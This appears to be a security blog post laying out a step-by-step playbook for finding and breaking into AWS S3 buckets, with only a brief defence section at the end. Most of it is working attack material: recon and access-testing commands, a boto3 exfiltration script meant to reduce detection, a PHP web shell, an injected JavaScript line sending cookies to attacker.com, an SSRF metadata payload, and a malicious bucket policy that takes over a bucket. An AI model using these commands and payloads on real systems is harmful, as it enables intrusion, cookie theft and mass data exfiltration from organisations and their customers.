How Hackers Get Access to AWS S3 Buckets: Practical Attack Methods and Exploitation Techniques

 

Introduction

AWS S3 (Simple Storage Service) buckets have become prime targets for hackers due to the massive amounts of sensitive data they contain. From customer databases and backup files to API credentials and intellectual property, S3 buckets store critical business information. Misconfigured S3 buckets have led to some of the largest data breaches in history, exposing billions of records. This technical analysis demonstrates exactly how hackers discover, access, and exploit vulnerable S3 buckets through practical attack methodologies.

Understanding S3 Bucket Security Model

Before diving into exploitation techniques, understanding S3 security architecture is essential. S3 buckets use multiple security layers including bucket policies controlling access at the bucket level, IAM policies defining user and role permissions, Access Control Lists (ACLs) providing legacy permissions, bucket encryption for data protection, and public access block settings preventing accidental exposure.

When any of these controls are misconfigured, attackers exploit the weaknesses to gain unauthorized access. The most common vulnerabilities include publicly readable buckets, overly permissive bucket policies, exposed AWS credentials with S3 access, and misconfigured ACLs allowing authenticated user access.

Phase 1: Discovering S3 Buckets Through Reconnaissance

DNS and Subdomain Enumeration

Hackers begin by identifying potential S3 bucket names through DNS reconnaissance. S3 buckets use predictable URL patterns: https://bucket-name.s3.amazonaws.com or https://s3.amazonaws.com/bucket-name.

Practical Execution:

Using subfinder to enumerate subdomains:

subfinder -d target-company.com -o subdomains.txt

Filter for S3-related subdomains:

cat subdomains.txt | grep -E "s3|bucket|backup|files|media|assets" > s3-candidates.txt

Common S3 bucket naming patterns attackers test:

  • company-backups
  • company-logs
  • company-prod
  • company-dev
  • company-assets
  • company-media
  • company-data
  • companyname-uploads

Google Dorking for S3 Buckets

Attackers use advanced Google search operators to find exposed S3 buckets:

site:s3.amazonaws.com "target-company"
site:s3.amazonaws.com intitle:"index of" "backup"
inurl:".s3.amazonaws.com"
filetype:txt site:s3.amazonaws.com password

Using Automated S3 Discovery Tools

Specialized tools automate S3 bucket discovery. Using Bucket Stream, which monitors certificate transparency logs:

git clone https://github.com/eth0izzle/bucket-stream.git
cd bucket-stream
pip install -r requirements.txt
python bucket-stream.py --config config.yaml

This tool monitors newly registered certificates and extracts potential S3 bucket names from domain names in real-time.

Another powerful tool is S3Scanner:

python s3scanner.py --providers-file wordlist.txt --threads 100

This scans bucket names from a wordlist, checking for accessibility and listing permissions.

Phase 2: Testing Bucket Accessibility and Permissions

Checking Public Read Access

Once potential bucket names are identified, attackers test accessibility using AWS CLI or curl commands.

Testing with AWS CLI (no credentials required):

aws s3 ls s3://target-company-backups --no-sign-request

If the bucket is publicly readable, this lists all objects:

2024-11-15 10:23:45   15728640 database-backup.sql
2024-11-14 08:15:32    8388608 customer-data.csv
2024-11-13 14:45:21    4194304 api-credentials.txt

Testing with curl:

curl -I https://target-company-backups.s3.amazonaws.com/

Response codes indicate:

  • 200 OK: Bucket accessible
  • 403 Forbidden: Bucket exists but access denied
  • 404 Not Found: Bucket doesn't exist

Checking for List Permissions

Attackers test if they can list bucket contents through the browser:

https://target-company-backups.s3.amazonaws.com/

If listing is enabled, XML output displays all objects:

<ListBucketResult>
    <Name>target-company-backups</Name>
    <Contents>
        <Key>database-backup.sql</Key>
        <Size>15728640</Size>
    </Contents>
</ListBucketResult>

Testing Individual Object Access

Even if listing is disabled, attackers test common file paths:

curl https://target-company-backups.s3.amazonaws.com/backup.sql
curl https://target-company-backups.s3.amazonaws.com/config.json
curl https://target-company-backups.s3.amazonaws.com/credentials.txt
curl https://target-company-backups.s3.amazonaws.com/.env

Common paths attackers test include:

  • /backup.sql, /database.sql
  • /.env, /config.json, /config.yml
  • /credentials.txt, /aws-credentials.txt
  • /users.csv, /customers.csv
  • /id_rsa, /private.key

Phase 3: Exploiting Authenticated AWS User Access

Using "Any Authenticated AWS User" ACL Misconfiguration

A critical misconfiguration occurs when buckets grant access to "Authenticated Users" group, meaning any AWS account holder can access it.

Testing authenticated access:

First, create a free AWS account. Then configure credentials:

aws configure
# Enter any valid AWS credentials from attacker's account

Test access:

aws s3 ls s3://target-company-backups

If the bucket grants access to authenticated users, listing succeeds even with unrelated AWS credentials.

Download entire bucket:

aws s3 sync s3://target-company-backups ./exfiltrated-data --no-progress

Exploiting Misconfigured Bucket Policies

Some buckets have overly permissive policies allowing cross-account access. Attackers retrieve the bucket policy:

aws s3api get-bucket-policy --bucket target-company-backups --query Policy --output text | jq

Vulnerable policy example:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::target-company-backups/*"
    }
  ]
}

The wildcard principal ("Principal": "*") allows anyone to read objects.

Phase 4: Credential Compromise and S3 Access

Finding Exposed AWS Credentials in GitHub

Attackers scan GitHub repositories for hardcoded AWS credentials using automated tools.

Using TruffleHog:

trufflehog git https://github.com/target-company/webapp --regex --entropy=True -o trufflehog-results.txt

Using GitLeaks:

gitleaks detect --source https://github.com/target-company/webapp -v

These tools identify patterns matching AWS access keys:

  • Access Key ID: AKIA[A-Z0-9]{16}
  • Secret Access Key: 40-character Base64 string

Finding Credentials in Public Code Repositories

Attackers search GitHub directly with advanced queries:

org:target-company "AKIA"
org:target-company "aws_access_key_id"
org:target-company "AWS_SECRET_ACCESS_KEY"
org:target-company extension:env "aws"

Testing Compromised Credentials

Once credentials are discovered, attackers immediately test their validity:

aws configure --profile compromised
# Enter discovered Access Key ID and Secret Access Key

aws sts get-caller-identity --profile compromised

Output reveals:

{
    "UserId": "AIDAJ45Q2EXAMPLEUSERID",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/developer-account"
}

Enumerating S3 Permissions

Check what S3 operations the compromised account can perform:

aws iam list-attached-user-policies --user-name developer-account --profile compromised

Get policy details:

aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/S3Access --profile compromised
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/S3Access --version-id v1 --profile compromised

List all accessible buckets:

aws s3 ls --profile compromised

Phase 5: Data Exfiltration from Compromised Buckets

Downloading Sensitive Files

Once access is confirmed, attackers systematically exfiltrate data:

List bucket contents:

aws s3 ls s3://target-company-backups --recursive --profile compromised

Download specific sensitive files:

aws s3 cp s3://target-company-backups/database-backup.sql ./database-backup.sql --profile compromised
aws s3 cp s3://target-company-backups/customer-data.csv ./customer-data.csv --profile compromised

Sync entire bucket:

aws s3 sync s3://target-company-backups ./local-backup --profile compromised

This recursively downloads all objects, maintaining directory structure.

Filtering for High-Value Data

Attackers filter for specific file types containing sensitive information:

# Find SQL backup files
aws s3 ls s3://target-company-backups --recursive --profile compromised | grep ".sql"

# Find CSV files (often contain customer data)
aws s3 ls s3://target-company-backups --recursive --profile compromised | grep ".csv"

# Find configuration files
aws s3 ls s3://target-company-backups --recursive --profile compromised | grep -E ".env|config.json|.yml"

# Find credential files
aws s3 ls s3://target-company-backups --recursive --profile compromised | grep -E "credential|password|secret|key"

Automated Exfiltration Scripts

Attackers use automated scripts to efficiently exfiltrate data:

import boto3
import os

# Configure session with compromised credentials
session = boto3.Session(
    aws_access_key_id='AKIA...',
    aws_secret_access_key='...',
    region_name='us-east-1'
)

s3 = session.client('s3')
bucket_name = 'target-company-backups'

# List all objects
paginator = s3.get_paginator('list_objects_v2')
pages = paginator.paginate(Bucket=bucket_name)

sensitive_extensions = ['.sql', '.csv', '.env', '.json', '.key', '.pem']

for page in pages:
    if 'Contents' in page:
        for obj in page['Contents']:
            key = obj['Key']
            # Filter for sensitive files
            if any(key.endswith(ext) for ext in sensitive_extensions):
                local_path = f"./exfiltrated/{key}"
                os.makedirs(os.path.dirname(local_path), exist_ok=True)
                print(f"Downloading: {key}")
                s3.download_file(bucket_name, key, local_path)

This script selectively downloads only high-value files, reducing detection risk.

Phase 6: Exploiting S3 Bucket Write Permissions

Testing Write Access

Some misconfigured buckets allow unauthorized users to upload files. Attackers test write permissions:

echo "test" > test-file.txt
aws s3 cp test-file.txt s3://target-company-uploads/test-file.txt --profile compromised

If successful, attackers have write access and can upload malicious content.

Uploading Web Shells and Malware

If the S3 bucket hosts a website (static website hosting), attackers upload web shells:

# Create PHP web shell
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

# Upload to bucket
aws s3 cp shell.php s3://target-company-website/shell.php --profile compromised

Access the shell via browser:

https://target-company-website.s3.amazonaws.com/shell.php?cmd=whoami

Data Poisoning Attacks

Attackers modify existing files to inject malicious code or corrupt data:

# Download original file
aws s3 cp s3://target-company-assets/app.js ./app.js --profile compromised

# Inject malicious code
echo "// Malicious payload" >> app.js
echo "fetch('https://attacker.com/steal?data='+document.cookie);" >> app.js

# Re-upload modified file
aws s3 cp ./app.js s3://target-company-assets/app.js --profile compromised

When users access the application, the malicious JavaScript executes, stealing session cookies.

Phase 7: Advanced S3 Exploitation Techniques

Exploiting S3 Pre-Signed URL Vulnerabilities

Applications often generate pre-signed URLs for temporary access. If URL generation is flawed, attackers exploit it:

# Generate pre-signed URL with long expiration
aws s3 presign s3://target-bucket/sensitive-file.pdf --expires-in 604800 --profile compromised

This creates a publicly accessible URL valid for 7 days, allowing data sharing without authentication.

Server-Side Request Forgery to Access Metadata

If S3 buckets are accessed from EC2 instances with IAM roles, attackers exploit SSRF vulnerabilities to retrieve credentials:

# SSRF payload targeting metadata service
http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-S3-Role

Response contains temporary credentials:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2024-12-15T12:00:00Z"
}

Use these credentials to access S3:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

aws s3 ls

Privilege Escalation via S3 Bucket Policies

If compromised credentials have s3:PutBucketPolicy permission, attackers modify bucket policies to grant themselves full access:

cat > malicious-policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::ATTACKER-ACCOUNT:root"
      },
      "Action": "s3:*",
      "Resource": [
        "arn:aws:s3:::target-bucket",
        "arn:aws:s3:::target-bucket/*"
      ]
    }
  ]
}
EOF

aws s3api put-bucket-policy --bucket target-bucket --policy file://malicious-policy.json --profile compromised

Now the attacker's AWS account has full control over the bucket.

Detection and Defense Strategies

Organizations can detect S3 attacks through AWS CloudTrail monitoring for unusual GetObject, ListBucket, and PutObject operations, GuardDuty alerts for suspicious S3 access patterns, VPC Flow Logs showing unexpected data egress, S3 Access Logs recording all bucket requests, and anomaly detection for high-volume downloads.

Implementing robust S3 security requires blocking all public access by default, implementing least privilege IAM policies, enabling bucket encryption, using S3 bucket policies with specific principals, enabling MFA Delete for critical buckets, implementing bucket versioning for recovery, and regularly auditing bucket permissions with AWS Access Analyzer.

Conclusion

S3 bucket compromises occur through multiple attack vectors including public misconfiguration, credential exposure, and overly permissive policies. Attackers follow systematic methodologies from bucket discovery through data exfiltration, exploiting each security weakness they encounter. Understanding these practical attack techniques enables security teams to implement effective defenses, preventing unauthorized access to sensitive data stored in AWS S3 buckets. Regular security audits, proper IAM configuration, and continuous monitoring remain essential for protecting cloud storage infrastructure.

Comments

Popular posts from this blog

XML External Entity (XXE) Injection: Exploiting XML Parsers for Data Exfiltration and System Compromise

How Hackers Exploit Inadequate IAM: A Practical Step-by-Step Attack Walkthrough

SMTP Smuggling: smtp-smuggling-attack-bypass-spf-dkim-dmarc